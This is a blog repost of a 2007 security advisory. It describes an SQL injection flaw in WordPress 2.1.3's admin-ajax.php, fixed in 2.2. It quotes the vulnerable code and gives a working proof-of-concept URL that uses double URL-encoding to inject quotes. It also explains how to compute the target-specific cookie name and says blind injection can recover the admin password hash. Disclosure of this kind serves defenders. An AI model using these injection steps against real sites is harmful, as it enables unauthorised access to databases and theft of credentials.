EKAKJ

November 21, 2007

Sql Injection in WordPress 2.1.3

Filed under: hack — ekakj @ 5:09 pm

Author: Janek Vind “waraxe”
Date: 21. May 2007
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-50.html

Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerable: WordPress 2.1.3
Patched: WordPress 2.2

http://www.wordpress.org/

Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1. critical sql injection in “admin-ajax.php”
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Let’s have look @ source code of “wp-admin/admin-ajax.php” ~ line 6:

—————————————-
define(’DOING_AJAX’, true);

check_ajax_referer();
if ( !is_user_logged_in() )
die(’-1′);
——————[/source code]———————-

Now let’s take a peek at “check_ajax_referer()”

—————————————-
function check_ajax_referer() {
$cookie = explode(’; ‘, urldecode(empty($_POST[’cookie’]) ?
$_GET[’cookie’] : $_POST[’cookie’])); // AJAX scripts must pass
cookie=document.cookie
foreach ( $cookie as $tasty ) {
if ( false !== strpos($tasty, USER_COOKIE) )
$user = substr(strstr($tasty, ‘=’), 1);
if ( false !== strpos($tasty, PASS_COOKIE) )
$pass = substr(strstr($tasty, ‘=’), 1);
}
if ( !wp_login( $user, $pass, true ) )
die(’-1′);
——————[/source code]———————-

We can see “urldecode()” in use …
So by using “%2527″ we can deliver single quotes to “wp_login()”,
effectively bypassing php’s “magic_quotes” feature!

Hmm, let’s proceed further:

—————————————-
function wp_login($username, $password, $already_md5 = false) {
global $wpdb, $error;

$login = get_userdatabylogin($username);
——————[/source code]———————-

And finally:

—————————————-
function get_userdatabylogin($user_login) {
global $wpdb;

if ( !$user = $wpdb->get_row(”SELECT * FROM $wpdb->users
WHERE user_login = ‘$user_login’”) )
return false;
——————[/source code]———————-

So really there seems to be exist sql injection possibility.
Now it’s time for some proof-of-concept fun )

——————[PoC test]———————–
http://localhost/wordpress.2.1.3/wp-admin/admin-ajax.php?
cookie=wordpressuser_5a136e6377f39b00c76957953df945db%253dx%2527gotcha
;+wordpresspass_5a136e6377f39b00c76957953df945db%253dx
——————[/PoC test]———————-

… and if WordPress sql error feedback is enabled, then we can see
nice error message:

WordPress database error: [You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for
the right syntax to use near ‘gotcha” at line 1]

SELECT * FROM wp_users WHERE user_login = ‘x’gotcha’

Yeah, it works!! But before testing that PoC cookie suffix must be changed
to currently valid. Here is how it goes:

Example target is: http://localhost/wordpress.2.1.3/wp-admin/admin-ajax.php
Base url for WordPress installation is: http://localhost/wordpress.2.1.3
And suffix is:

md5(’http://localhost/wordpress.2.1.3′) = ‘5a136e6377f39b00c76957953df945db’

And final variable names:

wordpressuser_5a136e6377f39b00c76957953df945db
wordpresspass_5a136e6377f39b00c76957953df945db

One more time: for every target must be calculated specific suffix!

OK, now about exploiting …

It seems that blind fishing is only method for this security hole.
There is exploit, I have written in php, which will retrieve from database
WordPress admin password md5 hash within few minutes.

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